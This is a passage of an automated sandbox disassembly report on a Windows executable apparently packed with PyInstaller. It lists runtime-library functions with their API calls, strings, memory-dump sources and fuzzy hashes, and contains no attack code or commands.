Instruction Fuzzy Hash: B7115E60E0D60241FBDDB3A59542279E9415F447B0FC94334DC7E6EBD6DD2CB48143A2

Function 00007FF7F3DEB224 Relevance: 7.6, APIs: 5, Instructions: 50COMMON

Download Yara Rule

APIs

FlsGetValue.KERNEL32 ref: 00007FF7F3DEB235
FlsSetValue.KERNEL32 ref: 00007FF7F3DEB254
FlsSetValue.KERNEL32 ref: 00007FF7F3DEB27C
FlsSetValue.KERNEL32 ref: 00007FF7F3DEB28D
FlsSetValue.KERNEL32 ref: 00007FF7F3DEB29E

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 92671db20a050c4f2636db97a8291f7b9cbb2c044339a59ef12305351f814945
Instruction ID: 002245d9623c70b61ea1db2552dc84080bafb52522b8f90d0296bb92c23053a7
Opcode Fuzzy Hash: 92671db20a050c4f2636db97a8291f7b9cbb2c044339a59ef12305351f814945
Instruction Fuzzy Hash: 6311F260A0E60741FBEC72A1885227E9A424F85730FC94734D97E6E6C2DD2CB98046F2

Function 00007FF7F3DE5FA0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 242COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7F3DE5FDC
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7F3DE6106
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7F3DE61BC

Strings

verbose, xrefs: 00007FF7F3DE5FB0

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: verbose
API String ID: 3215553584-579935070
Opcode ID: 8c3a45f75ca5c0a3459ca2e96ae2fbbf181a3d63a640e770f0a7cf37c7606cec
Instruction ID: b8ec8516d5bbb46c082a30314a0a77c9678a46eff74ed2d735c5d8fc6e07b228
Opcode Fuzzy Hash: 8c3a45f75ca5c0a3459ca2e96ae2fbbf181a3d63a640e770f0a7cf37c7606cec
Instruction Fuzzy Hash: BA910932A0864641F7A9AEA4D45037DBB91AB40B54FC44331DABD6B3D5DF3CE48583A2

Function 00007FF7F3DEFBC8 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 219COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7F3DEFEA7

Part of subcall function 00007FF7F3DE7A3C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7F3DE7A59

Strings

UTF-16LEUNICODE, xrefs: 00007FF7F3DEFE45
ccs, xrefs: 00007FF7F3DEFDE2
UTF-8, xrefs: 00007FF7F3DEFE26

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: UTF-16LEUNICODE$UTF-8$ccs
API String ID: 3215553584-1196891531
Opcode ID: 7089664b0a027e884898b454f5d4d61e653d4f3baae8c024cbe23c99275e4c13
Instruction ID: 6b25ed96f8289da615756aead5ba728e20c659cdf9cf45904e3ff5b9186b8bcb
Opcode Fuzzy Hash: 7089664b0a027e884898b454f5d4d61e653d4f3baae8c024cbe23c99275e4c13
Instruction Fuzzy Hash: 7F81C772D0824285F7ED7EE58140238AEA8AB11B44FD74231D92DBF2C5DB2DF58183A3

Function 00007FF7F3DDD648 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 154COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF7F3DDD673
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF7F3DDD70A
RtlUnwindEx.KERNEL32 ref: 00007FF7F3DDD764

Strings

csm, xrefs: 00007FF7F3DDD6F1

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm
API String ID: 2395640692-1018135373
Opcode ID: 4bd751ab4a757734da5bac4c310991cbc8ef63d187f18c7a3c34a87046479a0f
Instruction ID: 8a6fca9462f787b1f4c90fc79f9509dd796580b23ece198b5d92a7beda42b32f
Opcode Fuzzy Hash: 4bd751ab4a757734da5bac4c310991cbc8ef63d187f18c7a3c34a87046479a0f
Instruction Fuzzy Hash: 4451B032B196029ADF94AF95D444A38B791FF44B88F908130DA6E5B7C8DF7CE841C7A0

Function 00007FF7F3DDF288 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF7F3DDF2B0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00007FF7F3DDF398

Strings

csm, xrefs: 00007FF7F3DDF2D2
csm, xrefs: 00007FF7F3DDF3EA

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b828653c103bc27f8420a51a056d9897bfd6e6497fd7c081c32eb92dd3ed2bbb
Instruction ID: 26244831693c7a0feffde000285c480376d94f467af32b59a649e4efba219b37
Opcode Fuzzy Hash: b828653c103bc27f8420a51a056d9897bfd6e6497fd7c081c32eb92dd3ed2bbb
Instruction Fuzzy Hash: E051A632A0838286DBB4AFA1D044378B7A8FB55B88F954135DA6C5BBC5CF3CE450C791

Function 00007FF7F3DDEED8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00007FF7F3DDEF37
_CallSETranslator.LIBVCRUNTIME ref: 00007FF7F3DDEF83

Strings

MOC, xrefs: 00007FF7F3DDEF4B
RCC, xrefs: 00007FF7F3DDEF53

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 1c81a5d02d7979dd4dad50f55436adaf5051385037e661534b2c2f58034018d3
Instruction ID: b1203d908cccfa1e353a21fb3e2e587374a4184a124dc26d885d84b8effe4fdd
Opcode Fuzzy Hash: 1c81a5d02d7979dd4dad50f55436adaf5051385037e661534b2c2f58034018d3
Instruction Fuzzy Hash: 7F61A432908BC585DBB0AB65E4403AAF7A4FB85784F444235EBAC1B795CF7CD194CB50

Function 00007FF7F3DD7E20 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 81COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(00000000,?,00007FF7F3DD352C,?,00000000,00007FF7F3DD3F1B), ref: 00007FF7F3DD7F32

Strings

%.*s, xrefs: 00007FF7F3DD7EEB
%s%c, xrefs: 00007FF7F3DD7EA4
\, xrefs: 00007FF7F3DD7E97

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: CreateDirectory
String ID: %.*s$%s%c$\
API String ID: 4241100979-1685191245
Opcode ID: 302ffdc47f1f131389ecc473fe7ae023bae846d875cccfc6523225b15fd92315
Instruction ID: 6e2740a1a2cd88549ffabce37b722be6d868710c6b2f61816188a2c2771d0717
Opcode Fuzzy Hash: 302ffdc47f1f131389ecc473fe7ae023bae846d875cccfc6523225b15fd92315
Instruction Fuzzy Hash: 5131E661619AC245EBA1AB60E4507AAF354EF84BE0F840231EE7D5F7C9DF3CD60187A0

Function 00007FF7F3DD2810 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 65windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32 ref: 00007FF7F3DD28EA

Strings

[PYI-%d:%ls] , xrefs: 00007FF7F3DD2868
ERROR, xrefs: 00007FF7F3DD286F
Error, xrefs: 00007FF7F3DD28DD

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: Message
String ID: ERROR$Error$[PYI-%d:%ls]
API String ID: 2030045667-255084403
Opcode ID: 035b7a672ed8def45fe49a9c290554376ffedfd07499b26c39d849b73b89d90e
Instruction ID: 181d5bafc080ebaf6f977990e7ba27d40273d7dfe035b4a824d94cd3314f00fa
Opcode Fuzzy Hash: 035b7a672ed8def45fe49a9c290554376ffedfd07499b26c39d849b73b89d90e
Instruction Fuzzy Hash: F521F772B08B4181E750ABA4F8807EAB364FB88780F800135EE9D6B799DF3CD245C790

Function 00007FF7F3DEC5A0 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00007FF7F3DEC61F
WriteFile.KERNEL32 ref: 00007FF7F3DEC8E7
WriteFile.KERNEL32 ref: 00007FF7F3DEC92D
GetLastError.KERNEL32 ref: 00007FF7F3DEC9E3

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 04e310725d937c0b27e7ac1e6c46040fced781be2c4963351fe3137ba04acc33
Instruction ID: 775f15d9a27788961b64ada9be7e35c628ec14bbc8d5159decfb8c744f359ed0
Opcode Fuzzy Hash: 04e310725d937c0b27e7ac1e6c46040fced781be2c4963351fe3137ba04acc33
Instruction Fuzzy Hash: F5D13772B08A418AE754DFB5D4402AC7BB1FB547D8B804236DE6DABBC9DE38D046C390

Function 00007FF7F3DEF98C Relevance: 6.2, APIs: 4, Instructions: 162COMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF7F3DEFA7C
_get_daylight.LIBCMT ref: 00007FF7F3DEFA8D
_get_daylight.LIBCMT ref: 00007FF7F3DEFA9E
_isindst.LIBCMT ref: 00007FF7F3DEFB69

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: _get_daylight$_isindst
String ID:
API String ID: 4170891091-0
Opcode ID: 873197461a12b50781dd6dd2a54ab0b7f590f407db75148e336b6c99fa373a01
Instruction ID: 5944f08a2ce7b60b00be7a8ce2f2eea3813531f22c2b260dae450e9a6408ce92
Opcode Fuzzy Hash: 873197461a12b50781dd6dd2a54ab0b7f590f407db75148e336b6c99fa373a01
Instruction Fuzzy Hash: 19515A72F0461186FB58EFA489512BCBB69BF40358F910335DD3E6AAE4DF38A442C790

Function 00007FF7F3DE577C Relevance: 6.1, APIs: 4, Instructions: 119pipeCOMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00007FF7F3DE57AF
GetFileInformationByHandle.KERNEL32 ref: 00007FF7F3DE5811
GetLastError.KERNEL32 ref: 00007FF7F3DE58A2
PeekNamedPipe.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7F3DE56B4), ref: 00007FF7F3DE58EE

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: File$ErrorHandleInformationLastNamedPeekPipeType
String ID:
API String ID: 2780335769-0
Opcode ID: 601044899bb77d1db34704472f686b9691880a3163deed0eb7e9945e8072c835
Instruction ID: 6e00a30a326d8c7af9a40158f2af195df77ab4b489ee80222aa1e68177a140d6
Opcode Fuzzy Hash: 601044899bb77d1db34704472f686b9691880a3163deed0eb7e9945e8072c835
Instruction Fuzzy Hash: 8751B562E0464986F794EFB0D4903BD7BA2AB48B98F504634DE1D6F7C9DF38D48083A1

Function 00007FF7F3DD20C0 Relevance: 6.1, APIs: 4, Instructions: 52COMMON

Download Yara Rule

APIs

EndDialog.USER32 ref: 00007FF7F3DD20F4
SetWindowLongPtrW.USER32 ref: 00007FF7F3DD2116
GetWindowLongPtrW.USER32 ref: 00007FF7F3DD2140
InvalidateRect.USER32 ref: 00007FF7F3DD2160

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: LongWindow$DialogInvalidateRect
String ID:
API String ID: 1956198572-0
Opcode ID: 3f66ec3ad31a24d6b03c6ecd933265a99c2c3f38e7b83c206d3886b5f9d1bb92
Instruction ID: 8dc9915a568aecbff456bd31e0ccc7e5903359a763709003c2c4f3c359694f84
Opcode Fuzzy Hash: 3f66ec3ad31a24d6b03c6ecd933265a99c2c3f38e7b83c206d3886b5f9d1bb92
Instruction Fuzzy Hash: 40118621A1C54682F7D4A7F9F684279A351EB84784FC88030DE691BBDDCD2DD5D98250

Function 00007FF7F3DF5B1C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 121COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7F3DF1760: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7F3DF1793

_get_daylight.LIBCMT ref: 00007FF7F3DF5C34
_get_daylight.LIBCMT ref: 00007FF7F3DF5C45

Strings

?, xrefs: 00007FF7F3DF5BC5

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo
String ID: ?
API String ID: 1286766494-1684325040
Opcode ID: 21862b7f5a6063227688de7d7fc5fbfc7fa1fb1d7946118fe9e576ba790fa6aa
Instruction ID: e631e8a3715736c6f5d76e77ee77043f82bce6492aff23112b9f03a0e201ed71
Opcode Fuzzy Hash: 21862b7f5a6063227688de7d7fc5fbfc7fa1fb1d7946118fe9e576ba790fa6aa
Instruction Fuzzy Hash: 7F416C12A0828641FBA5ABB5E48137AE752EB80BA4F944234EE7D1FBDDDF3CD4418750

Function 00007FF7F3DE9014 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 111COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7F3DE9046

Part of subcall function 00007FF7F3DEA948: RtlFreeHeap.NTDLL(?,?,?,00007FF7F3DF2D22,?,?,?,00007FF7F3DF2D5F,?,?,00000000,00007FF7F3DF3225,?,?,?,00007FF7F3DF3157), ref: 00007FF7F3DEA95E
Part of subcall function 00007FF7F3DEA948: GetLastError.KERNEL32(?,?,?,00007FF7F3DF2D22,?,?,?,00007FF7F3DF2D5F,?,?,00000000,00007FF7F3DF3225,?,?,?,00007FF7F3DF3157), ref: 00007FF7F3DEA968

GetModuleFileNameW.KERNEL32(?,?,?,?,?,00007FF7F3DDCBA5), ref: 00007FF7F3DE9064

Strings

C:\Users\user\Desktop\aLsxeH29P2.exe, xrefs: 00007FF7F3DE9052

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: ErrorFileFreeHeapLastModuleName_invalid_parameter_noinfo
String ID: C:\Users\user\Desktop\aLsxeH29P2.exe
API String ID: 3580290477-2540427151
Opcode ID: 136b352ca89953b7aac46d199a587659114d0cf60bae53edf27061cb20026a80
Instruction ID: 27b25f9dbd441c33745a9c0feb227a98c74d311c106aa003961c805ad241f776
Opcode Fuzzy Hash: 136b352ca89953b7aac46d199a587659114d0cf60bae53edf27061cb20026a80
Instruction Fuzzy Hash: C341A336A0970285EB98FF61D8400BDABA4EF447D4BC54135E95E6BBC5CE3CD4C583A1

Function 00007FF7F3DECC38 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00007FF7F3DECD4F
GetLastError.KERNEL32 ref: 00007FF7F3DECD71

Strings

U, xrefs: 00007FF7F3DECCFB

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 4f5d94246872f2193e537bc66f33c90add5f7e97f4787e66017fcfb3b1ebd6d4
Instruction ID: f4e0e9902a76f38140237504885feb8d14ae327b78fb0be1741b61b015dfc653
Opcode Fuzzy Hash: 4f5d94246872f2193e537bc66f33c90add5f7e97f4787e66017fcfb3b1ebd6d4
Instruction Fuzzy Hash: CD41C572B18A4181DBA0AFA5E4443B9BBA0FB88BC4F804131EE5D9B798DF3CD441C790

Function 00007FF7F3DEF5B8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

GetCurrentDirectoryW.KERNEL32 ref: 00007FF7F3DEF5F8
GetCurrentDirectoryW.KERNEL32 ref: 00007FF7F3DEF64A

Strings

:, xrefs: 00007FF7F3DEF60E

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: CurrentDirectory
String ID: :
API String ID: 1611563598-336475711
Opcode ID: 9aa1b1c0966d0181e71a7442aa19fd9d8a3a06258be719e39fc35e3b215e25b0
Instruction ID: b37029886734000a9d914611960cd5f5a2887ad9afd9775e9a0d01581942454c
Opcode Fuzzy Hash: 9aa1b1c0966d0181e71a7442aa19fd9d8a3a06258be719e39fc35e3b215e25b0
Instruction Fuzzy Hash: 20212D72A0868143FB64AB51D04427DB7B5FB84B44FC64139D6AD5B2C4CF7CD58487E2

Function 00007FF7F3DDFD48 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32 ref: 00007FF7F3DDFD98
RaiseException.KERNEL32 ref: 00007FF7F3DDFDD9

Strings

csm, xrefs: 00007FF7F3DDFDC6

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

